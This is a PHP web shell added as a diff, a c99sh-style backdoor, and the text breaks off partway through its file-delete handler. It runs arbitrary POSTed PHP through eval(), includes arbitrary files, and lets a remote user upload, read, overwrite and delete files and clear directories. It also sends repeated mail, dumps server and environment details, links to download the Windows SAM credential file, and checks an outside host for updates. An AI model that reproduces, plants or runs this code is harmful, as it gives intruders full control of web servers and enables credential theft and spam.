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 +JJJBJJIBBIJIJIIIJJIJJJJJJJJJJBJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJIP/a +AAgBAQMBPxApS1RSHwsCSSyf4aLFixYsWLFixYsWLFixYsWLFixYsWLFixYsWLFixYsWL/CxYsWL +FixYsWLFixYsWLFixYsWLFixYsWLFixYsWLFixf/AEixYsWLFixYsWLF4Oluyo1TCNWFPdlNd9mu ++zXfZrvs132a77Nd9mu+zXfZrvs132a77Nd9mu+zXfZrvs132a77Nd9hDoCEIDJH0YKJQIKsDpgW +BfgWUacgTAkoAgLreSxYtgGTAgEigAAvbnQJqy1XRBCSCWEVMchsge1InEoImkEAkMAH/sdKetgQ +kASVTK8FiNrM/AhGUmWFC84tGEEIJ5RFIeaZNEkqJGAtGH9aGVEkQK9iYINvSQJEWxHx2GpQBhIZ +Bwa5prvsetQWpqEgLI4+OzcwGApE5roM4Eu/YDCCBAMieFfBZSsOoDACQEHAbkYf0IZUWIX6nQJO +w62AFEGLNU+OxSbDMMAANgOKD/1AqpAOSsWwMaELlEEQCYKpJE9qwuJkvAWgb+ClcKADkz4Up5Qz +TxEJQAcyJrvsqBdIAhhBpJzmdAkR8IeVKsg9DCCV0agEguPOgXgsWiK8GNikQ4KIUpBfAIBQg4hg +UfXgsdzaMhkEYAkEs+4YONNACBEVI48oB1UQAmcCjixmu+zXfZrvs132a77Nd9mu+zXfZrvs132a +77Nd9mu+zXfZrvs132a77M4vHcD0bsgCNLS0tLS0tLS0tLS0tLS0tLS0tIQCaCCAiIIRIYxgGAAE +DASu6kMCYrUEwf3KKyAa4AFNgEfJ07XjXnEUNgCkGnjzgoF87YASAqpafa6qSEAUEPAOQwIwUTBq +M4GXOYNycAq0VeCVEHAwaqASwJA3vKOkSCoKklVYxMho3wRgMTBArTKiAKJDmW1ZMYNg04tgNRQA +GRfqJaO7aLDIEaRCItkwsQioJeCRUlgMCuoUccoQc7MHmIirHwSa3ykQMExEkVRUH0VJkoAfoePN +LB4gFFJyQcCcfBIXbhwohAYUGGRgsMQ9QNhxcYrSACA4olyporJJQTAYmCrSWztEgkcivHkkjWVT +KECVLCNI5BU2AAEisiJBB8eTTWGAFQEBAOhizrgQGlgEml44rQwwYrgUMIDTlBFQzCyW1RRpsEBM +llACB+vB1rBwQDohIMs84NBEfCBQcNho4ThDyEQUlvwUCNLS0tLS0tLS0tLS0tLS0tLS32X3K0CG +YwXud1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1 +yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3 +XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yn +dcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcpi/Yhm9z//2gAI +AQIDAT8Q/rB//9oACAEDAwE/EP6wf//Z"); + header("Content-type: image/gif"); + header("Cache-control: public"); + header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); + header("Cache-control: max-age=".(60*60*24*7)); + header("Last-Modified: ".date("r",filemtime(__FILE__))); + echo base64_decode($images[$_GET['pic']]); +} + +$ps=str_replace("\\","/",getenv('DOCUMENT_ROOT')); +//file_array +$file_tps=array( +"img"=>array("jpg","bmp","gif","ico"), +"act" => array("edit","copy","download","delete"), +"zip" => array("gzip","zip","rar") +); +$surl_autofill_include = true; //If true then search variables with descriptors (URLs) and save it in SURL. + +if ($surl_autofill_include and !$_REQUEST["c99sh_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}} +if (empty($surl)) +{ + $surl = "?".$includestr; //Self url +} +$surl = htmlspecialchars($surl); + @ob_clean(); +//end +if (isset($_GET['img'])) { + for ($i=0;$i<4;$i++) { + if (preg_match("/".$file_tps["img"][$i]."/i",$extn)) { + header("Content-type: ".$inf["mime"]); + readfile(urldecode($filename)); + exit; + + } + } +} + + +if (!function_exists(download)) { + function download($file) { + header('Pragma: anytextexeptno-cache', true); + header('Content-type: application/force-download'); + header('Content-Transfer-Encoding: Binary'); + header('Content-length: '.filesize($file)); + header('Content-disposition: attachment; + filename='.basename($file)); + readfile($file); + exit; + } +} +if (isset($_GET['download'])) { +download($filename); +exit; +} + +if (isset($_GET['run'])) { +echo urldecode($_GET['file']); +include(urldecode($_GET['file'])); +exit; +} + + +function check_update() +{ +$cur_ver=5; //very important value for updates!Please dont change! +$newer=$cur_ver+1; +$url="http://dc3.dl.am/"; +$file=@fopen($url."".$newer.".txt","r") or die ("No updates aviable!"); +$text=fread($file,1000000); +if (preg_match("/ver=".$newer."/i", $text)) { + echo "[+]Update Aviable!...Please download new version from:"; +echo "<br><a href=".$url.$newer.".txt>Version ".$newer."</a>"; +} } + +function get_perms($mode) +{ + if (($mode & 0xC000) === 0xC000) {$type = "s";} + elseif (($mode & 0x4000) === 0x4000) {$type = "d";} + elseif (($mode & 0xA000) === 0xA000) {$type = "l";} + elseif (($mode & 0x8000) === 0x8000) {$type = "-";} + elseif (($mode & 0x6000) === 0x6000) {$type = "b";} + elseif (($mode & 0x2000) === 0x2000) {$type = "c";} + elseif (($mode & 0x1000) === 0x1000) {$type = "p";} + else {$type = "?";} + + $owner["read"] = ($mode & 00400)?"r":"-"; + $owner["write"] = ($mode & 00200)?"w":"-"; + $owner["execute"] = ($mode & 00100)?"x":"-"; + $group["read"] = ($mode & 00040)?"r":"-"; + $group["write"] = ($mode & 00020)?"w":"-"; + $group["execute"] = ($mode & 00010)?"x":"-"; + $world["read"] = ($mode & 00004)?"r":"-"; + $world["write"] = ($mode & 00002)? "w":"-"; + $world["execute"] = ($mode & 00001)?"x":"-"; + + if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";} + if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";} + if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";} + +echo $type.join("",$owner).join("",$group).join("",$world); +} + + + +if (!function_exists(get_space)) { + function get_space($dir) { +$free = @diskfreespace($dir); +if (!$free) {$free = 0;} +$all = @disk_total_space($dir); +if (!$all) {$all = 0;} +$used = $all-$free; +$used_f = @round(48.7/($all/$free),2); +echo "".$used_f.""; + } + } +$sys=strtolower(substr(PHP_OS,0,3)); +echo "<center><table border=\"1\" width=600 rules=\"groups\"> + + <thead> + <tr><td>"; +echo "<img src=".$surl."?&".$word."&dir&pic=o.b height= width=>"; +echo getenv('SERVER_SOFTWARE'); +echo "<br>"; +echo getenv('SERVER_NAME'); +echo ":"; +echo getenv('SERVER_PORT'); +echo "<br>"; +echo getenv('SERVER_ADMIN'); + +if ($sys=="win") { +echo "Windows"; +echo "<br>"; +echo "".getenv('COMPUTERNAME').""; +echo "<br>"; +echo "Os:".getenv('OS').""; +} else { +echo "<br>Linux"; +} +if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") +{ +$safe=1; +echo "<br><font color=red>ON (secure)</font>"; + } else { +$save=2; +if ($sys=="win") { +echo "<br><font color=green><a href=".$surl."?&".$word."&file_browser&file=C:/Windows/repair/sam&download>Off (not secure)</a></font>"; +} +} +if (isset($_GET['file'])) { +echo "<br>Access:"; +if (@is_readable($j_f)) { + echo "R"; +} +if (@is_executable($j_f)) { + echo "E"; +} +if (@is_writable($j_d)) { +echo "W"; +} +echo "<br>Current_file:"; +echo "<a href=".$surl."?&".$word."&file_browser&file="; +echo urlencode($p) ; +echo ">".$p."</a>"; + } +echo "<br>"; +echo "Start_dir:"; +echo "&ensp;&ensp;&ensp;"; +echo "<a href=".$surl."?&".$word."&file_browser&file="; +echo urlencode($ps); +echo ">".$ps."</a>"; +echo "<br>"; +if (isset($_GET['file'])) { +echo "Free Space:"; +get_space(urldecode($_GET['file'])); + +echo "gb"; +} +echo "</td>"; +?> + +<style type="text/css"> +body { background-color:#8B8989;font-family:trebuchet Ms; color:black } + +textarea { +border-top-width: 1px; +font-weight: bold; +border-left-width: 1px; +font-size: 10px; +border-left-color: #8B8989; +background:#8B8989; +border-bottom-width: 1px; +border-bottom-color:#8B8989; +color: black; +border-top-color:#8B8989; +font-family: trebuchet Ms; +border-right-width: 1px; +border-right-color: #8B8989; +} +input { +border-top-width: 1px; +font-weight: bold; +border-left-width: 1px; +font-size: 10px; +border-left-color: #8B8989; +background: #8B8989; +border-bottom-width: 1px; +border-bottom-color: #8B8989; +color: black; +border-top-color:#8B8989; +font-family: trebuchet Ms; +border-right-width: 1px; +border-right-color:#8B8989; +} +td { + font-size: 10px; + font-family: verdana; +} +th { + font-size: 10px; + font-family: verdana; +} +a:link { + text-decoration: none; +} +a:visited { + text-decoration: none; + color:blue; +} +a:active { + text-decoration: none; +} +a:hover { + color: #00ff00; + text-decoration: none; +} +back { +background-color:grey; +} + ul#Navigation { +position:absolute; + width: 10em; + margin: 0; padding: 0.8em; + border: 1px solid #8B8989; + background-color: #8B8989; + } + * html ul#Navigation { /* Korrekturen fuer IE 5.x */ + width: 11.6em; + w\idth: 10em; + padding-left: 0; + padd\ing-left: 0.8em; + } + ul#Navigation li { + list-style: none; + margin: 0.4em; padding: 0; + } + + ul#Navigation a { + display:block; + padding: 0.2em; + text-decoration: none; font-weight: bold; + border: 1px solid black; + border-left-color: black; border-top-color: black; + color: black; background-color: #8B8989; + } + * html ul#Navigation a { /* Breitenangaben nur fuer IE */ + width: 100%; + w\idth: 8.8em; + } + ul#Navigation a:hover { + border-color: white; + border-left-color: black; border-top-color: black; + color: white; background-color: #8B8989; + } +</style> + +<?php +if (!function_exists(rename_all)) { + function rename_all($dir,$prefix,$name,$del) { + $r_dir=opendir($dir); + while (false !== ($file_r = readdir($r_dir))) { + if (@filetype($dir."/".$file_r)=="file") { + $i++; + @copy($dir."/".$file_r,$dir."/".$i.".".$prefix.$name) or die ("[-]Error renaming file : ".$file_r.""); + if ($del=="yes") { + @unlink($dir."/".$file_r) or die ("[-]Error deleting file(s)!"); + } + } + + } + echo "Successfully renamed file(s)!"; + } + } + + + +if (!function_exists(get_perms)) { + function get_perms($file) { + if (@file_exists($file)) { + if (@is_readable($file)) { + echo "<b>R</b>"; + } + if (@is_executable($file)) { + echo "<b>E</b>"; + } + if (@is_writable($file)) { + echo "<b>W</b>"; + } + } else { + echo "[-]Error"; + } + } + } + +if (!function_exists(search_file)) { + function search_file($search,$dir) { + global $word; + global $surl; + $d_s=opendir($dir); + while (false !== ($file_s = readdir($d_s))) { + if (preg_match("/".$search."/i",$file_s)) { + echo "<a href=".$surl."?&".$word."&file_browser&file=".urlencode($dir)."/".urlencode($file_s).">".$file_s."</a><br>"; + } + } + } + } + + +if (!function_exists(copy_file)) { + function copy_file($file,$to) { + if (@file_exists($file)) { + @copy($file,$to) or die ("[-]Error copying file!"); + echo "Successfully copied file!"; + } else { + echo "[-]File Doesnt exist!"; + } + } + } + +if (!function_exists(send_mail)) { + function send_mail($from,$to,$text,$subject,$times) { + while ($i<$times) { + $i++; + $header = "From: $from\r\n"; + @mail($to, $subject, $text, $header) or die ("[-]Error sending mail(s)!"); + + } + echo "Successfully sent mail(s) to ".$to."!"; + } + } + + +if (!function_exists(read_file)) { + function read_file($file) { +$file=@fopen($file,"r"); +echo fread($file,10000); +fclose($file); + } + } + +if (!function_exists(write_file)) { + function write_file($file,$text) { + if (@is_writable($file)) { + if (@file_exists($file)) { + $file_w=@fopen(urldecode($file),"w") or die ("[-]Error"); + if (fwrite($file_w,$text)) { + echo "Successfully written to file(s)!"; + } + } + } + else { + echo "[-]Error"; + exit; + } + } + } + + + +if (!function_exists(count_all)) { + function count_all($dir) { + $c_d=opendir($dir); + while (false !== ($file_c = readdir($c_d))) { + if (@filetype($dir."/".$file_c)=="file") { + $file_c_s++; + } + else + { + $dir_c++; + } + } + echo "Directories:"; + echo $dir_c++; + echo "||"; + echo "Files:"; + echo $file_c_s; + } +} + +if (!function_exists(check_access)) { + function check_access($file) { + if (@is_readable($file)) { + echo "R"; + } + if (@is_executable($file)) { + echo "E"; + } + if (@is_writable($file)) { + echo "W"; + } + } + } + +if (!function_exists(clear_dir)) { + function clear_dir($dir) { +$o_d=opendir($dir); + while (false !== ($file = readdir($o_d))) { + if (@filetype(urldecode($_GET['file'])."/".$file)=="file") { +unlink(urldecode($dir)."/".$file) or die ("[-]Error @ file:".$file.""); + } + } +echo "Successfully cleared directory!"; + } + } + +?> + + +<?php +// real code start ! + + +if (isset($_GET['update'])) { +echo "<center><table border=\"1\" rules=\"groups\"> + <thead> + <tr><td>"; +check_update(); +exit; +} +if (isset($_GET['rmdir'])) { +echo "<center><table border=\"1\" rules=\"groups\"> + + <thead> + <tr><td>"; +@rmdir($_GET['file']) or die ("[-]Error deleting dir!"); +echo "Successfully deleted dir(s)!"; +exit; +} + + +if (isset($_GET['upload'])) { +$uploaddir = urldecode($_POST['file']); + +print "<pre>"; +if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir ."/". $_FILES['userfile']['name'])) { +echo "<center><table border=\"1\" rules=\"groups\"> + <thead> + <tr><td>"; + print "Successfully uploadet file(s)!"; +} else { +echo "<center><table border=\"1\" rules=\"groups\"> + <thead> + <tr><td>"; + print "[-]Error"; +} +exit; +} + +if (isset($_GET['search'])) { +echo "<center><table border=\"1\" rules=\"groups\"> + <thead> + + <tr><td>"; +search_file($_POST['search'],urldecode($_POST['dir'])); +exit; +} + + + + +if (isset($_GET['getenv'])) { +echo "<center><table border=\"1\" width=600 rules=\"groups\"> + <thead><br> + <tr><td>"; +echo getenv($_GET['getenv']); +exit; +} + + +if (isset($_GET['php_info'])) { +echo "<center><table border=\"1\" width=600 rules=\"groups\"> + <thead><br> + <tr><td>"; +phpinfo(); +exit; +} + +if (isset($_GET['defined_vars'])) { +echo "<center><table border=\"1\" width=600 rules=\"groups\"> + <thead><br> + <tr><td>"; +echo "<center><textarea rows=40 cols=120>"; +$vars=get_defined_vars(); +print_r($vars); +echo "</textarea>"; + +exit; +} + +if (isset($_GET['env'])) { +echo "<center><table border=\"1\" width=600 rules=\"groups\"> + + <thead><br> + <tr><td>"; +$ary=get_defined_vars(); +$it=array_keys($ary); +foreach ($it as $i) { +echo "<a href=".$surl."?&".$word."&getenv=".$i.">".$i."</a><br>"; + +} +exit; +} + +if (isset($_GET['play'])) { +echo "<embed src=".urlencode($filename)." autostart=true loop=true hidden=true height=0 width=0>"; +exit; +} + + +if (isset($_GET['special_crypt'])) { +echo "<center><table border=\"1\" width=600 rules=\"groups\"> + <thead><br> + <tr><td>"; +echo "<textarea rows=15 cols=90>"; +if (isset($_POST['submit'])) { +$file=@fopen($_FILES['userfile']['tmp_name'],"r") or die ("[-]Error reading file!"); +$meth=$_POST['crypt']; +if ($meth=="1") { +echo htmlspecialchars(md5(fread($file,10000))); + } elseif ($meth=="2") { + echo htmlspecialchars(crypt(fread($file,10000))); +} + elseif ($meth=="3") { + echo htmlspecialchars(sha1(fread($file,10000))); + } +elseif ($meth=="4") { + echo htmlspecialchars(crc32(fread($file,10000))); +} + elseif ($meth=="5") { + echo htmlspecialchars(urlencode(fread($file,10000))); +} + + elseif ($meth=="6") { + echo htmlspecialchars(urldecode(fread($file,10000))); +} + elseif ($meth=="7") { + echo htmlspecialchars(base64_encode(fread($file,10000))); +} + +elseif ($meth=="8") { + echo htmlspecialchars(base64_decode(fread($file,10000))); +} + +} +echo "</textarea><div align=left>"; + +?> +<form enctype="multipart/form-data" action=<?php echo $surl ?>&<?php echo $word ?>&special_crypt method="post"> +file: <input name="userfile" type="file"><br><br> + +<input type="submit" value="Start" name="submit"><br> +<input type=radio name=crypt value=1>md5();<br> +<input type=radio name=crypt value=2>crypt();<br> +<input type=radio name=crypt value=3>sha1();<br> +<input type=radio name=crypt value=4>crc32();<br> +<input type=radio name=crypt value=5>urlencode();<br> +<input type=radio name=crypt value=6>urldecode();<br> +<input type=radio name=crypt value=7>base64_encode();<br> +<input type=radio name=crypt value=5>base64_decode();<br> + +<?php +exit; +} +if (isset($_GET['crypt'])) { +echo "<center><table border=\"1\" width=600 rules=\"groups\"> + <thead><br> + <tr><td>"; +?> +<form action=<?php echo $surl ?>?&<?php echo $word ?>&crypt method="post"> +Crypt:<br> +<textarea rows=12 cols=120 name=crypt> +</textarea> +<?php +$text=$_POST['crypt']; +?> +md5:&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;<input size=40 type=text value=<?php echo htmlspecialchars(md5($text)) ?>><br><br> + +crypt:&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;<input size=40 type=text value=<?php echo htmlspecialchars(crypt($text)) ?>><br><br> + +sha1:&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;<input size=40 type=text value=<?php echo htmlspecialchars(sha1($text)) ?>><br><br> + +crc32:&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;<input size=40 type=text value=<?php echo htmlspecialchars(crc32($text)) ?>><br><br> + +urlencode:&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;<input size=40 type=text value=<?php echo htmlspecialchars(urlencode($text)) ?>><br><br> + +urldecode:&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;<input size=40 type=text value=<?php echo htmlspecialchars(urldecode($text)) ?>><br><br> + +base64_encode:&ensp;<input type=text size=40 value=<?php echo base64_encode($text) ?>><br><br> + +base64_decode:&ensp;<input type=text size=40 value=<?php echo base64_decode($text) ?>><br><br> +<?php +echo "<input type=submit value=Start></form><form action=".$surl."?&".$word."&special_crypt method=post><input type=submit value=file_inload_crypt>"; +exit; +} + +if (isset($_GET['php_code'])) { +echo "<center><table border=\"1\" width=600 rules=\"groups\"> + <thead><br> + <tr><td>"; +?> +<form action=<?php echo $surl ?>&<?php echo $word ?>&php_code method="post"> + +<textarea rows=12 cols=120 name=code> +</textarea> +<textarea rows=12 cols=120 readonly> +<?php +eval($_POST['code']); +echo "</textarea>"; +echo "<br><br><input type=submit value=Start>"; +exit; +} + +if (isset($_GET['search_st'])) { + if (isset($_POST['search'])) { +search_file($_POST['search'],$_POST['dir']); + } +exit; +} + + +if (isset($_GET['rename_all'])) { +echo "<center><table border=\"1\" width=600 rules=\"groups\"> + <thead><br> + <tr><td>"; +rename_all(urldecode($_POST['d']),$_POST['prefix'],$_POST['name'],$_POST['del']); +exit; +} + +if (isset($_GET['special_d'])) { +echo "<center><table border=\"1\" width=600 rules=\"groups\"> + <thead><br> + <tr><td>"; + $way=$_POST['way']; + if ($way=="1") { +clear_dir($_GET['file']); + exit; + } + if ($way=="2") { +echo "<center><table border=\"1\" width=600 rules=\"groups\"> + <thead><br> + + <tr><td>"; +?> +<form action=<?php echo $surl ?>?&<?php echo $word ?>&rename_all method="post"> +Prefix:<br><input type="text" name="prefix"><br> +Name:<br><input type="text" name="name"><br> +<input type="hidden" name="d" value=<?php echo urlencode($filename) ?>> +Delete old files?:<input type="radio" name="del" value="yes"><br> +<br><input type="submit" value="Rename"> +<?php +exit; +} +} + + +if (isset($_GET['special_dir'])) { +echo "<center><table border=\"1\" width=600 rules=\"groups\"> + <thead><br> + <tr><td>"; +?> + +<form action=<?php echo $surl ?>?&<?php echo $word ?>&special_d&file=<?php echo urlencode($filename) ?> method=post> +<input type="radio" name="way" value="1">Clear Dir<input type=hidden name=dir value=<?php echo urlencode($filename) ?>><br><br> +<input type="radio" name="way" value="2">Rename with prefix<br><br> +<input type="submit" name="sub" value="Start"> +<?php +exit; +} + +if (isset($_GET['delete'])) { + if (@file_exists($filename)) { +echo "<center><table border=\"1\" width=600 rules=\"groups\"> + <thead> + <tr><td>"; + @unlink($filename) or die 